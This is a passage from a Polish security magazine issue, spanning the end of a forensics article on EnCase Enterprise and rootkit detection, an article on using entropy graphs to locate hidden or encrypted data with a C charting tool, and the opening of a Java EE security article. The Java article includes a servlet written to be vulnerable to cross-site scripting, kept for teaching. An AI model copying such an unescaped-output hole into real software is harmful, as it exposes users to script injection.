nego. W zamieszczonym poniżej
zrzucie ekranu przedstawiono do-
wód na posiadanie przez pracow-
nika danych kredytobiorców.
Zdalna analiza spełnia przy tym
wymagania informatyki śledczej, za-
braniające jakiejkolwiek ingerencji
w materiał dowodowy. Odnaleziony
materiał może zostać zdalnie zabez-
pieczony i autentyfikowany za pomo-
cą sumy kontrolnej. Tworzący się au-
tomatycznie raport może stanowić
protokół zabezpieczania. Zgodnie z
wymogami Normy, wystąpienie ta-
kiego incydentu (A.13.2.2) powinno
pociągnąć za sobą badanie rozmia-
rów problemu. Zwyczajowo, jedyną
możliwością jest rozległy audyt sys-
temu i wprowadzenie dodatkowych
zaleceń. W przypadku EE wystarczy
stworzenie odpowiedniej kweren-
dy, zadanie zapytania do całej sieci
i otrzymanie raportu skali.
Problem danych osobowych nie
jest jednak największym, który mo-
że wystąpić w rozległej sieci. Znacz-
nie bardziej skomplikowane i czaso-
chłonne są analizy szkodliwych apli-
kacji, zwłaszcza tych ukrywających
się, typu HOOK lub DKOM. Wykrycie
incydentu, wobec bezbronności pro-
gramów antywirusowych, jest trud-
ne i na ogół przypadkowe. Wymaga-
na jest izolacja zainfekowanego śro-
dowiska i żmudne usuwanie szkodli-
wych kodów. Poniżej przedstawiono
analizę procesów (snapshot) w EE,
wśród których znajduje się rootkit
Hacker Defender. Ze względu na tryb
pracy servletu ukryte procesy (rów-
nież injected drivers, DLLe oraz ukry-
te połączenia IP) są widoczne z po-
ziomu examinera.
Ta funkcjonalność pozwala na
analizę zasobów dynamicznych, po-
W Sieci
• http://www.mediarecovery.pl,
• http://www.forensictools.pl,
• http://www.guidancesoftware.com,
• http://pl.wikipedia.org/wiki/Informatyka_%C5%9Bledcza.
Rysunek 2.
Analiza skali incydentu
Informatyka śledcza
hakin9 Nr 3/2008
www.hakin9.org
57
równywanie ich ze wzorcem (opisa-
nym za pomocą hashy) i wykrywanie
zmian w obrębie całej sieci. Mając ta-
kie możliwości łatwiej zidentyfikować
nieoczekiwane procesy. Tak jak w po-
przednim przykładzie, łatwa jest rów-
nież ocena ich skali, a nawet remedia-
cja wybranych elementów w obrębie
sieci (niszczenie ujawnionych doku-
mentów, zabijanie procesów), w tym
również automatycznie w ramach de-
finicji odpowiedzi na incydenty.
Określone w Normie (A10.4) obo-
wiązki dotyczące złośliwego oprogra-
mowania w przypadku EE oznaczają
możliwość stworzenia zasad syste-
mów (profili), dzięki którym inspekcja
może być znacznie łatwiejsza i szyb-
ka nawet w skali korporacji. Sprzęże-
nie platformy z BIT9 (międzynarodo-
wa baza hashy) daje możliwość prze-
szukiwania uruchomionych procesów
w obrębie zasobów i odnajdywania
tych niepożądanych.
Podsumowanie
Każda organizacja przygotowana na
zagrożenia musi posiadać w swoim
systemie bezpieczeństwa nie tylko
rozwiązania prewencyjne, ale rów-
nież pozwalające na przejęcie i opa-
nowanie incydentu po jego wystąpie-
niu, także w aspekcie zgromadzenia
dowodów o wartości odpowiedniej
dla postępowań przed sądem. Infor-
matyka Śledcza pozwala wypełnić
tę lukę i przygotować odpowiednie
narzędzia oraz procedury również
w mniejszej niż EnCase Enterprise
skali. Przedstawiona skrótowo plat-
forma śledcza jest jednak rozwiąza-
niem kompleksowym, przeznaczo-
nym dla dużych firm i instytucji, w
których istnieją lub są wdrażane za-
sady bezpieczeństwa oparte na po-
wszechnych wzorcach (SOX, ISO).
Jego konstrukcja daje nowe spojrze-
nie na bezpieczeństwo informacji,
umożliwia badania najbardziej zło-
żonych incydentów, a także wypeł-
nia wiele normatyw przytoczonych
norm (prewencja, inspekcja, audyt).
Przyszłością bezpieczeństwa infor-
macji jest integracja z tego typu sys-
temami. l
O autorze
Przemysław Knejza. Lat 33, EnCE, Dyrektor ds. badań i rozwoju w Mediareco-
very, największej polskiej firmie świadczącej profesjonalne usługi informatyki
śledczej (computer forensics). Prawnik, informatyk. Wcześniej 8 lat na stano-
wisku zarządzania działem odzyskiwania danych w firmie Ontrack. Autor publi-
kacji na tematy związane z odzyskiwaniem danych i informatyką śledczą. Ma
córeczkę. W wolnych chwilach słucha Floydów.
Kontakt z autorem: biuro@mediarecovery.pl
Rysunek 3.
Analiza incydentu – rootkit hacker defender (HXDEF100)
www.hakin9.org
hakin9 Nr 3/2008
58
Obrona
N
a początek trochę teorii, czyli matema-
tyczna definicja entropii omawianej w
dalszej części tego artykułu: entropia
jest funkcją pewnego ciągu danych, którą moż-
na wyrazić jako sumę iloczynów prawdopodo-
bieństw wystąpienia danego znaku oraz ilości
jego wystąpień w ciągu danych. W pseudoko-
dzie obliczanie entropii wygląda następująco:
entropia = 0
dla każdego znaku 'i' w danym alfabecie:
entropia = entropia + p(i) * ilość(i)
gdzie p(i) to prawdopodobieństwo wystąpie-
nia znaku i w danym zbiorze danych, a ilość(i)
to ilość jego wystąpień w tym ciągu. Tak zde-
finiowana entropia przyjmuje wartości od 1 do
wielkości równej co do wartości ilości znaków
w ciągu.
Tyle teorii. W praktyce alfabetem są zazwy-
czaj wszystkie znaki ASCII (konkretnie wszyst-
kie 256 wartości, które może przyjąć jeden bajt),
a ciąg danych to po prostu pewne dane binarne,
których entropię chcemy zmierzyć – na przykład
plik. Jeżeli chodzi o praktyczne wartości zwra-
cane przez funkcję entropii, to wyobraźmy sobie
dwa przypadki. W pierwszym z nich załóżmy, że
mamy plik o wielkości 256 bajtów, który zawie-
ra same litery A. W takim wypadku prawdopo-
dobieństwo wystąpienia litery A jest stuprocen-
towe, a prawdopodobieństwo wystąpienia jakie-
gokolwiek innego znaku jest zerowe – tak więc
entropia będzie wynosić 1 * 100% * 256 bajtów
+ 255 * 0% * 0, czyli (pozbywając się jednostek)
256. W drugim, skrajnie przeciwnym przypadku,
wyobraźmy sobie plik, również o wielkości 256
bajtów, który zawiera wszystkie znaki ASCII (tj.
każdy możliwy znak ASCII wystąpi w nim do-
kładnie raz). Wtedy prawdopodobieństwo wy-
stąpienia każdego znaku wynosi 1 / 256, a en-
tropia będzie sumą dwustu pięćdziesięciu sze-
Entropia – pomiar
i zastosowanie
Michał Gynvael Coldwind Składnikiewicz
stopień trudności
Entropia, rozumiana jako wielkość losowości pewnych danych,
może służyć wprawnemu badaczowi jako narzędzie pomocne
w wyszukiwaniu ukrytych danych oraz interpretacji budowy
nieznanych plików. Niniejszy artykuł ma na celu przedstawić
Czytelnikowi zagadnienia związane z entropią.
Z artykułu dowiesz się
• co to jest entropia,
• jak wykorzystać pomiary entropii do lokalizo-
wania ukrytych danych,
• jak interpretować wykresy entropii danych.
Co powinieneś wiedzieć
• mieć ogólne pojęcie o matematyce,
• mieć ogólne pojęcie o informatyce.
Entropia
hakin9 Nr 3/2008
www.hakin9.org
59
ściu iloczynów 1 / 256 * 1 bajt, co
sprowadzi się do 256 / 256 czyli po
prostu do entropii równej jeden.
Zatem entropia jest średnią wa-
żoną prawdopodobieństw wystąpień
każdego ze znaków ASCII w okre-
ślonym ciągu danych. Należy zauwa-
żyć, że czym mniejsza wartość entro-
pii w powyższym przypadku, tym wię-
cej rodzajów znaków zostało użytych.
Pojawia się pytanie – czy są jakieś
charakterystyczne wartości (lub ich
przedziały) entropii dla różnego ro-
dzaju danych? Przed przejściem do
odpowiedzi na to pytanie należy jesz-
cze powiedzieć dwie rzeczy.
Po pierwsze, wartość entropii NIE
ZALEŻY od kolejności wystąpień da-
nych znaków w ciągu, a jedynie od ich
ilości oraz całkowitej długości ciągu
(można jednak temu prosto zaradzić
wyliczając na przykład entropię z cią-
gu różnic kolejnych bajtów lub wyko-
nując bardziej skomplikowane trans-
formacje). Po drugie, entropia wyra-
żana w skali od 1 do długości ciągu
wydaje się być mało wygodna, dlate-
go w dalszej części artykułu posługi-
wać się będę entropią wyrażoną pro-
centowo. Przekształcenie na wynik
procentowy uzyskać można korzy-
stając z prostego wzoru:
Entropia = (1 - Entropia / Długość_
Ciągu) * 100%
Tak więc entropia 0% oznaczać bę-
dzie stały ciąg (na przykład sa-
me literki A), a entropia na poziomie
99,9% (100% nigdy tak naprawdę
nie osiągnie) – ciąg całkowicie loso-
wy. Dodatkowo można jeszcze pod-
nieść uzyskaną wartość do kwadra-
tu, aby zwiększyć różnicę między
poszczególnymi (górnymi) pozioma-
mi entropii.
Rodzaj danych a entropia
Okazuje się że poziom entropii różne-
go rodzaju danych różni się od siebie.
Tak więc tekst w języku naturalnym bę-
dzie miał inny poziom entropii niż kod
maszynowy, a ten z kolei będzie miał
inny poziom entropii niż skompresowa-
ne dane. Przeanalizujmy poszczególne
przypadki. Tekst w języku naturalnym
zawiera w sobie jedynie niewielki wy-
cinek całego alfabetu ASCII. Przykła-
dowo do napisania niniejszego artykułu
wystarczyły jedynie małe i wielkie lite-
ry łacińskie, małe i wielkie polskie znaki
diakrytyczne oraz pewne znaki specjal-
ne, takie jak kropka, nawias czy znak
pusty (spacja).
Tekst w języku naturalnym ma
zazwyczaj entropię na poziomie od
94,5% do 95,3%, a entropię^2 na po-
ziomie od 87% do 92%. Należy zazna-
czyć, że entropia ta może być niższa w
przypadku, gdy dane słowo (lub jakaś
jego część) często się powtarza – na
przykład w wierszach/tekstach piose-
nek lub jako często używany prefiks
nazwy obiektu w programie. Kolejnym
rodzajem danych może być kod ma-
szynowy, czyli skompilowany asem-
bler. Entropia kodu maszynowego za-
leży w dużej części od rodzaju opera-
cji, które są w analizowanym fragmen-
cie wykonywane. Przykładowo oblicze-
nia arytmetyczne (ADD, SUB, DIV etc.)
mają inne opkody (ang. opcode) niż ob-
liczenia wykonywane na koprocesorze
(FADD etc.), a te z kolei różnią się od
opkodów instrukcji kontrolujących prze-
bieg aplikacji (JMP, TEST, CMP, JNZ
etc.). Tak więc ciąg, w którym program
wykonuje jedynie obliczenia na kopro-
cesorze, będzie miał niższą entropię
niż ciąg, w którym jest wszystkiego po
trochu. Kod maszynowy charakteryzu-
je się entropią na poziomie od 80% do
98%, a entropią^2 na poziomie od 64%
do 97%.
W przypadku skompresowanych
danych sprawa jest prostsza, ponieważ
istotą kompresji jest dążenie do upako-
wania jak największej ilości informacji
w jak najmniejszej ilości bajtów, co wy-
musza znaczny wzrost entropii wzglę-
dem oryginału. Dokładny poziom entro-
pii zależy od algorytmu kompresji, jed-
nak prawdopodobnie będzie on na po-
ziomie od około 99% wzwyż (czyli en-
tropia^2 będzie na poziomie około 98%
wzwyż). Ostatnim ciekawym przypad-
kiem są wszelkiego rodzaju protoko-
ły oraz formaty binarne (takie, jak na
przykład format symboli debugge-
ra czy format nagłówków sekcji plików
wykonywalnych). Dane w nich są wy-
soce uporządkowane, zazwyczaj skła-
dają się z offsetów, adresów i tym po-
dobnych rzeczy, a także (co każdy pro-
gramista oraz reverse engineer dobrze
wie) znajduje się w nich bardzo dużo
zer (zer binarnych – znaków ASCII o
kodzie 0). Tego typu dane mają entro-
pię na poziomie od 40% do 75%, a en-
tropię^2 na poziomie od 16% do 55%.
Pomiar entropii innych rodzajów da-
Rysunek 1.
Porównanie entropii programu z danymi jawnymi oraz
zaszyfrowanymi
Rysunek 2.
Wykres entropii^2 dla pliku calc.exe
hakin9 Nr3/2008
www.hakin9.org
Obrona
60
nych pozostawiam Czytelnikowi jako
zadanie domowe.
Szyfrowanie a entropia
Entropia zaszyfrowanego ciągu da-
nych, w zależności od użytego algoryt-
mu szyfrowania, może się w ogóle nie
zmienić, lub znacznie wzrosnąć.
Pierwszy przypadek jest często
spotykany w przypadku algorytmów, w
których jeden znak jest zamieniany na
inny – tak, jak w przypadku szyfru Ce-
zara lub w części automatycznie gene-
rowanych algorytmów używanych do
szyfrowania kodu w plikach wykony-
walnych. Takie algorytmy, zazwyczaj
trywialne, zbudowane są z szeregu od-
wracalnych instrukcji arytmetyczno-lo-
gicznych – takich jak ADD, SUB, ROR,
ROL, XOR, INC czy DEC – oraz korzy-
stają ze stałego, jednobajtowego klu-
cza, który jest argumentem poszcze-
gólnych instrukcji. Należy zauważyć, iż
w wypadku takich algorytmów zmienią
się kody poszczególnych znaków, na-
tomimast pary prawdopodobieństwa
oraz ilości wystąpień pozostaną stałe,
w związku z czym entropia nie ulegnie
zmianie (jako, że we wzorze na entro-
pie kod znaku nie ma znaczenia).
W przypadku algorytmów, które
szyfrują całe bloki informacji lub szy-
frują strumieniowo, ale w których istot-
ne jest miejsce wystąpienia znaku (tj. w
których A na pozycji trzeciej zostanie
inaczej zaszyfrowane niż A na pozycji
czwartej) poziom entropii się zmieni. W
przypadku większości algorytmów szy-
frowania bezpiecznie jest powiedzieć
nawet, że entropia wzrośnie do pozio-
mu 98% lub więcej (a entropia^2 do po-
ziomu 96% lub więcej).
Z powyższych faktów płyną dwa
bardzo ważne dla nas wnioski. Po
pierwsze, w przypadku gdy ktoś pró-
buje ukryć (na przykład w pliku wyko-
nywalnym) zaszyfrowane dane nietry-
wialnym algorytmem, wykres entro-
pii pozwoli błyskawicznie zlokalizować
miejsce ukrycia tychże danych.
Po drugie, w przypadku gdy wie-
my, że jakieś dane są zaszyfrowane,
ale ich poziom entropii jest stosunko-
wo niski (na przykład około 88%), to
wywnioskować można, że dane te zo-
stały zaszyfrowane trywialnym algo-
rytmem zamieniającym poszczególne
znaki na ich zakodowane odpowiedniki
(co oznacza również, że taki algorytm
podatny jest na atak za pomocą anali-
zy statystycznej). Na Rysunku 1. przed-
stawione są 3 programy. W pierwszym
(licząc od lewej) występuje pewna ilość
danych, która jest jawna (niezaszyfro-
wana). W drugim dane te zostały za-
szyfrowane trywialnym algorytmem
(XOR), a w trzecim – nietrywialnym al-
gorytmem (co spowodowało znaczny
wzrost entropii).
Zastosowanie
pomiaru entropii
Pomiar entropii stosować można
przede wszystkim w inżynierii wstecz-
nej (ang. reverse engineering) podczas
analizy plików wykonywalnych. W ta-
kim przypadku najlepiej jest utworzyć
wykres entropii kolejnych fragmentów
(na przykład 256-bajtowych) pliku. Ta-
ki wykres może ułatwić zrozumienie
budowy pliku, pomóc w lokalizacji po-
szczególnych składników pliku wyko-
nywalnego, a także powiedzieć co nie-
co o jego zawartości dodatkowej (ukry-
te dane, ikony, bitmapy). Przykładowo
Rysunek 2 przedstawia wykres entro-
pii głównego pliku wykonywalnego kal-
kulatora dołączonego do Windows XP,
stworzony za pomocą programu z Li-
Listing 1a.
Program tworzący wykresy entropii
//
Entropy
Chart
Drawer
"ent"
// Code by gynvael.coldwind//vx
#include
<cstdio>
#include
<cstdlib>
#include
<cstring>
using
namespace
std
;
// Typedef
typedef
unsigned
char
byte_t
;
// Naglowek TGA
#pragma pack(push, 1)
static
struct
TGA_HEADER
{
byte_t
id_field
,
c_map
,
img_type
,
color_map
[
5
];
unsigned
short
x_origin
,
y_origin
,
width
,
height
;
byte_t
bpp
,
flip
;
}
TgaHeader
=
{
0
,
0
,
2
,
{
0
,
0
,
0
,
0
,
0
}
,
0
,
0
,
0
,
0
,
24
,
0x20
}
;
#pragma pack(pop)
// Dane globalne
static
int
Height
=
480
,
Width
;
// Pobierz dane z pliku
byte_t
*
FileGetContent
(
const
char
*
FileName
,
size_t
*
SizePtr
)
{
byte_t
*
Data
;
size_t
Size
;
FILE
*
f
=
fopen
(
FileName
,
"rb"
);
if
(!
f
)
return
NULL
;
fseek
(
f
,
0
,
SEEK_END
);
Size
=
ftell
(
f
);
fseek
(
f
,
0
,
SEEK_SET
);
Data
=
(
byte_t
*)
malloc
(
Size
);
if
(!
Data
)
{
fclose
(
f
);
return
NULL
;
}
fread
(
Data
,
1
,
Size
,
f
);
fclose
(
f
);
*
SizePtr
=
Size
;
return
Data
;
}
// Wrzuc dane do pliku
bool
FileSetContent
(
const
char
*
FileName
,
const
byte_t
*
Data
,
size_t
Size
)
{
FILE
*
f
=
fopen
(
FileName
,
"wb"
);
if
(!
f
)
return
false
;
fwrite
(
Data
,
1
,
Size
,
f
);
fclose
(
f
);
return
true
;
}
// Stworz histogram
Rysunek 3.
Wykres entropii^2 dla
pliku calc.exe spakowanego UPX'em
Entropia
hakin9 Nr 3/2008
www.hakin9.org
61
stingu 1. Wykres został podzielony na
5 części (A, B, C, D oraz E). Pierw-
sza część (A) odzwierciedla nagłówki
MZ oraz PE – wyraźnie na niej widać
niską, zmienną entropię. Druga część
(B), stanowiąca największą część wy-
kresu, przedstawia entropię sekcji ko-
du (.text) kalkulatora. Cześć trzecia (C)
to tablica importów – widać na wykre-
sie wyraźny spadek entropii (z uwagi
na uporządkowaną strukturę oraz dużą
ilość zer). Cześć czwarta (D) to zasoby
pliku PE, a konkretnie ikony zawarte w
zasobach. Ostatnia część (E) to reszta
zasobów – menu, tablica stringów oraz
akceleratory. Dla porównania Rysunek
3 przedstawia wykres entropii tego sa-
mego pliku, ale po zastosowaniu pake-
ra UPX (jest to program kompresujący
pliki wykonywalne, ale do takiej postaci,
że można je nadal uruchamiać – roz-
pakowują się one w locie podczas uru-
chomienia). Na wykresie wyraźnie wi-
dać obszar, w którym entropia wzrosła
(kompresja kodu). Zasoby pliku najwy-
raźniej nie zostały skompresowane.
Pomiar entropii można wykorzy-
stać również w systemach detekcji za-
chowań anormalnych (na przykład w
protokołach sieciowych) lub w syste-
mach wykrywających ukryte dane, a
także przy analizie nieznanych forma-
tów plików, szczególnie stosujących
kompresję bądź szyfrowanie (lokaliza-
cja danych oraz nagłówków).
Podsumowanie
Artykuł ten stanowi jedynie wstęp do
zagadnień związanych z wykorzysta-
niem pomiaru entropii danych w inży-
nierii wstecznej. Gorąco zachęcam
Czytelników do eksperymentów zwią-
zanych z pomiarem entropii oraz, być
może, nawet podzielenia się wynikami
na łamach hakin9. l
Listing 1b.
Program tworzący wykresy entropii
void
MakeHistogram
(
const
byte _ t
*
Data
,
size _ t
Size
,
int
Ar-
ray
[
256
])
{
size_t
i
;
memset
(
Array
,
0
,
sizeof
(
int
)
*
256
);
for
(
i
=
0
;
i
<
Size
;
i
++)
Array
[
Data
[
i
]]++;
}
// Wylicz entropie
double
GetEntropy
(
const
byte_t
*
Data
,
int
Size
)
{
int
Array
[
256
];
int
i
;
double
Entropy
=
0.0
;
MakeHistogram
(
Data
,
Size
,
Array
);
for
(
i
=
0
;
i
<
256
;
i
++)
Entropy
+=
((
double
)
Array
[
i
]
/
Size
)
*
(
double
)
Array
[
i
];
return
Entropy
;
}
// Funkcja rysujaca pionowa linie
void
DrawLine
(
byte_t
*
Bitmap
,
int
x
,
int
LineHeight
,
byte_t
R
,
byte_t
G
,
byte_t
B
)
{
byte_t
PixelColor
[
3
]
=
{
R
,
G
,
B
}
;
int
i
;
for
(
i
=
Height
-
1
;
i
>=
LineHeight
;
i
--)
memcpy
(
Bitmap
+
(
i
*
Width
+
x
)
*
3
,
PixelColor
,
3
);
}
// Funkcja glowna
int
main
(
int
argc
,
char
**
argv
)
{
int
SampleLength
=
256
;
// Sprawdz argumenty
if
(
argc
<
2
)
{
fprintf
(
stderr
,
"usage: ent <FileName> [<SampleLength>]
\n
"
"SampleLength is 256 bytes by default
\n
"
);
return
1
;
}
if
(
argc
==
3
)
SampleLength
=
atoi
(
argv
[
2
]);
// Pobierz dane
byte_t
*
BitmapData
,
*
OutputData
;
byte_t
*
Data
;
size_t
FileSize
,
Sz
,
i
;
Data
=
FileGetContent
(
argv
[
1
]
,
&
FileSize
);
if
(!
Data
)
{
fprintf
(
stderr
,
"Error! File not found!
\n
"
);
return
2
;
}
// Zaalokuj pamiec dla bitmapy
Sz
=
FileSize
-
SampleLength
;
Listing 1c.
Program tworzący wykresy entropii
Width
=
FileSize
/
SampleLength
;
OutputData
=
(
byte_t
*)
malloc
(
sizeof
(
TgaHeader
)
+
Width
*
Height
*
3
);
BitmapData
=
OutputData
+
sizeof
(
TgaHeader
);
memset
(
BitmapData
,
0xff
,
Width
*
Height
*
3
);
int
cnt
=
0
;
// Narysuj wykres
for
(
i
=
0
;
i
<
Sz
;
i
+=
SampleLength
,
cnt
++)
{
int
hi
;
double
ent
=
GetEntropy
(&
Data
[
i
]
,
SampleLength
);
ent
=
1.0
-
(
ent
/
SampleLength
);
// ent = ent * ent;
hi
=
(
int
)((
1.0
-
ent
)
*
(
float
)
Height
);
ent
*=
100.0
;
printf
(
"%.8x - %.8x: %.5f%%
\n
"
,
i
,
i
+
SampleLength
,
ent
);
if
(
ent
>=
98.0
)
DrawLine
(
BitmapData
,
cnt
,
hi
,
0
,
0
,
(
byte_t
)(
ent
*
2.55
) );
else
if
(
ent
>=
81.0
)
DrawLine
(
BitmapData
,
cnt
,
hi
,
(
byte_t
)(
ent
*
2.125
)
,
0
,
0
);
else
if
(
ent
>=
60.0
)
DrawLine
(
BitmapData
,
cnt
,
hi
,
0
,
(
byte_t
)(
ent
*
2.55
)
,
0
);
else
DrawLine
(
BitmapData
,
cnt
,
hi
,
(
byte_t
)(
ent
*
2.55
)
,
0
,
(
byte_t
)(
ent
*
2.55
)
);
}
// Zapisz bitmape
char
Name
[
512
];
snprintf
(
Name
,
sizeof
(
Name
)
,
"%s.tga"
,
argv
[
1
]);
TgaHeader
.
width
=
Width
;
TgaHeader
.
height
=
Height
;
memcpy
(
OutputData
,
&
TgaHeader
,
sizeof
(
TgaHeader
));
FileSetContent
(
Name
,
OutputData
,
Width
*
Height
*
3
+
sizeof
(
TgaHeader
));
// Uwolnij dane
free
(
Data
);
free
(
OutputData
);
return
0
;
}
O autorze
Michał Składnikiewicz, inżynier infor-
matyki, ma wieloletnie doświadczenie
jako programista oraz reverse engine-
er. Obecnie jest koordynatorem dzia-
łu analiz w międzynarodowej firmie
specjalizującej się w bezpieczeństwie
komputerowym.
Kontakt z autorem:
gynvael@coldwind.pl
www.hakin9.org
hakin9 Nr 3/2008
62
Obrona
O
pisy luk w popularnych rozwiązaniach
mnożą się z dnia na dzień. Niezliczo-
ne artykuły, książki i filmy ukazujące
podatności występujące na stronach opartych
np. o PHP i MySQL stały się już standardem.
Dokładnie tak samo jest w drugą stronę – niezli-
czone wywody, dotyczące obrony naszych apli-
kacji internetowych i sposobów powstrzymy-
wania intruzów, podstępnie atakują nas każde-
go dnia z półek w księgarniach. Jednak w więk-
szości przypadków publikacje te dotyczą jedy-
nie rozwiązań popularnych i ogólnodostępnych.
Rzadko pojawiają się materiały dotyczące obro-
ny aplikacji napisanych np. w JEE czy .NET.
Czemu tak się dzieje? Odpowiedź na to pytanie
jest banalnie prosta – chodzi o dotarcie do jak
największej grupy potencjalnych odbiorców. Jak
wiadomo, większość domowych stron interneto-
wych czy niedochodowych witryn tematycznych
oparta jest głównie na PHP/MySQL i to właśnie
te technologie cieszą się największym zaintere-
sowaniem potencjalnych włamywaczy. Techniki
– często bardziej zaawansowane – wykorzysty-
wane w dużych projektach na zlecenie różnego
rodzaju firm, korporacji czy banków pozostają
w cieniu. Idealnym przykładem jest tutaj JEE,
niewątpliwie ciekawa i potężna platforma pro-
gramistyczna. Oczywiście nie chciałbym tutaj
umniejszać niewątpliwych zalet PHP. Osobiście
jednak uważam, że warto poświęcić trochę cza-
su na przyswojenie informacji odnośnie innych
języków, aby w późniejszej pracy jako specja-
lista ds. bezpieczeństwa móc spojrzeć na da-
ny problem bardziej abstrakcyjnie. Ten artykuł
Bezpieczeństwo w Javie
Piotr Łaskawiec
stopień trudności
Znajomość wielu zróżnicowanych technologii jest obecnie
niezbędna w pracy specjalisty ds. bezpieczeństwa. Trzeba
posiadać wiedzę nie tylko z zakresu popularnych rozwiązań, ale
także specjalistycznych narzędzi i platform programistycznych.
Taką specjalistyczną platformą jest opisana w tym artykule Java
Enterprise Edition.
Z artykułu dowiesz się
• czym jest JEE,
• jakie błędy występują w programach pisanych
pod JEE,
• jak bronić się przed atakami na nasze aplika-
cje,
• jak zminimalizować ryzyko wystąpienia ewen-
tualnych błędów.
Co powinieneś wiedzieć
• znać język programowania Java w stopniu śred-
nio-zaawansowanym,
• znać podstawowe sposoby ataków na aplikacje
internetowe,
• mieć doświadczenie w pisaniu aplikacji interne-
towych.
Bezpieczna Java
hakin9 Nr 3/2008
www.hakin9.org
63
ma na celu zwrócenie uwagi na bez-
pieczeństwo w aplikacjach komercyj-
nych pisanych w Javie.
Czym jest JavaEE?
Warto zacząć od przybliżenia te-
go niezwykle ciekawego projek-
tu. W tym artykule będziemy odno-
sić się głównie do aplikacji pisanych
w JEE. Wbrew dość popularnej opinii,
JEE (Java Enterpise Edition) nie jest
niezależnym językiem. Jest to ściśle
określony zbiór praktyk i standardów
pomocnych w tworzeniu aplikacji biz-
nesowych. JEE bazuje na języku Ja-
va. Dodatkowo oferuje cały szereg
komponentów, które mają gwaranto-
wać stabilną i szybką budowę aplika-
cji działających po stronie serwera.
JEE zapewnia wsparcie takim tech-
nologiom, jak:
• JSP – Java Server Pages,
• servlety,
• EJB – Enterprise Java Beans,
• JDBC – Java DatabaseConnecti-
vity,
• XML,
• wiele, wiele innych.
Obecnie Java Enterprise Edition ma
już ugruntowaną pozycję na rynku.
Jej głównym rywalem jest platforma
.NET, z którą Java usilnie walczy o
prym w sektorze aplikacji webowych.
W tym artykule będziemy zajmować
się głównie bezpieczeństwem apli-
kacji opartych na architekturze we-
bowej i związanymi z nimi dwiema
wcześniej wymienionymi technolo-
giami – servletami i JSP.
JEE – potrzeba
bezpieczeństwa
Zanim przejdziemy do konkretnych
przykładów ukazujących błędy w pro-
gramach pisanych zgodnie z JEE, war-
to zastanowić się nad teoretycznymi
aspektami bezpieczeństwa. Należy
pomyśleć, czy w ogóle warto zajmo-
wać się bezpieczeństwem tej techno-
logii i czy jest to sprawa kluczowa dla
użytkowników korzystających z do-
brodziejstw JEE. W obu przypadkach
odpowiedź jest twierdząca. Aplikacje
tworzone w oparciu o JEE kierowa-
ne są głównie do dużych firm, korpo-
racji, banków i wszystkich innych insty-
tucji, w których w grę wchodzą ogrom-
ne pieniądze. Jak łatwo się domyślić,
wraz z pojawieniem się dużego kapi-
tału rośnie potrzeba zapewnienia od-
powiedniego poziomu bezpieczeń-
stwa. W Enterprise Edition nie piszemy
stron domowych, prostych serwisów
czy niezbyt wyszukanych programów,
które mogą działać lub nie. Aplikacje
w JEE muszą cechować się szybko-
ścią, niezawodnością i wysokim pozio-
mem bezpieczeństwa, ponieważ czę-
sto operują na bardzo kosztownych da-
nych. Programiści piszący w Javie mu-
szą wystrzegać się błędów i nigdy nie
mogą lekceważyć mechanizmów za-
pewniających należyty poziom bezpie-
czeństwa – to właśnie oni odpowiadają
za przyszły wygląd szkieletu informa-
tycznego firmy, dla której wykonują zle-
cenie i to oni będą odpowiedzialni za
ewentualne udane ataki.
Inną kwestią jest swoisty strach
ludzi związanych z bezpieczeństwem
komputerowym przed nieznanymi
technologiami. Czasami widząc .jsp
jako rozszerzenie strony interneto-
wej, myślimy, że działa ona inaczej niż
strony napisane w całości np. w PHP.
Nie jesteśmy w stanie przeprowadzić
poprawnego audytu bezpieczeństwa,
ponieważ nie znamy mechanizmów
funkcjonowania takiej strony i nie po-
trafimy określić wzorców jej zacho-
wania. Ten artykuł pokazuje, że błędy
w aplikacjach internetowych są uni-
wersalne. Wraz ze zmianą języka pro-
gramowania, technologii czy wzor-
Listing 1.
Przykład kodu podatnego na XSS
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;
public
class
XSSVuln
extends
HttpServlet
{
public
void
doGet
(
HttpServletRequest
request
,
HttpServletResponse
response
)
throws
ServletException
,
IOException
{
response
.
setContentType
(
"text/html"
)
;
PrintWriter
out
=
response
.
getWriter
()
;
out
.
println
(
"<HTML>"
)
;
out
.
println
(
"<HEAD><TITLE>XSSVul</TITLE></HEAD>"
)
;
out
.
println
(
"<BODY>"
)
;
out
.
println
(
"XSS: "
+
request
.
getParameter
(
"no_filter"
))
;
//XSS!
out
.
println
(
"</BODY></HTML>"
)
;
}
public
void
doPost
(
HttpServletRequest
request
,
HttpServletResponse
response
)
throws
ServletException
,
IOException
{
doGet
(
request
,
response
)
;
}
}
Specyfikacje
Istnieją trzy specyfikacje stworzone przez firmę Sun Microsystems, opierające się na
języku Java.
Java Standard Edition – specyfikacja ta jest podstawą platformy Java. Jest bazą dla
JEE. Zawiera wszystkie wymagane komponenty potrzebne do budowy nowoczesnych
aplikacji. Pozwala pisać i uruchamiać aplikacje na komputerach osobistych i serwe-
rach niezależnie od używanego systemu operacyjnego.
Java Enterprise Edition – opisywana w tym artykule specyfikacja, stworzona z myślą o
aplikacjach biznesowych. W pełni wspiera tworzenie programów o architekturze wielo-
warstwowej (warstwa logiki aplikacji oddzielona jest od warstwy wizualnej).
Java Micro Edition – specyfikacja Micro Edition odnosi się do aplikacji pisanych na te-
lefony komórkowe. Ta wersja Javy jest zubożona w stosunku do specyfikacji bazowej
(Standard Edition) ze względu na ograniczone możliwości telefonów komórkowych w
zakresie alokacji pamięci i złożoności obliczeń.
hakin9 Nr 3/2008
www.hakin9.org
Obrona
64
ców projektowych modyfikujemy we-
wnętrzną strukturę aplikacji, ale nie
zmieniamy jej podstawowego pozio-
mu bezpieczeństwa wynikającego
z naszych przeoczeń. Przeoczeń, któ-
re pozwalają przetestować podatność
naszej aplikacji na typowe błędy.
Popularne błędy w JEE
Wreszcie możemy przejść do sed-
na tego artykułu. Wiemy już, czym
jest JEE i dlaczego dla tej technologii
bezpieczeństwo jest wyjątkowo waż-
ne. Teraz zajmiemy się najczęstszy-
mi błędami popełnianymi przez pro-
gramistów. Błędy zostaną przedsta-
wione na przykładzie dwóch popular-
nych technologii wchodzących w skład
JEE – servletów i JSP. Technologie te
są opisane w ramce Servlety i JSP.
Należy także pamiętać, że do urucho-
mienia kodu przedstawionego na li-
stingach potrzebne jest odpowiednie
oprogramowanie: serwer Tomcat oraz
JDK (Java Developers Kit). Odpowied-
nie linki podane są na końcu artykułu.
XSS (Cross Site Scripting)
– ostatnio bardzo popularny ro-
dzaj błędów. Polega na przekaza-
niu przez użytkownika kodu napisa-
nego w języku JavaScript jako war-
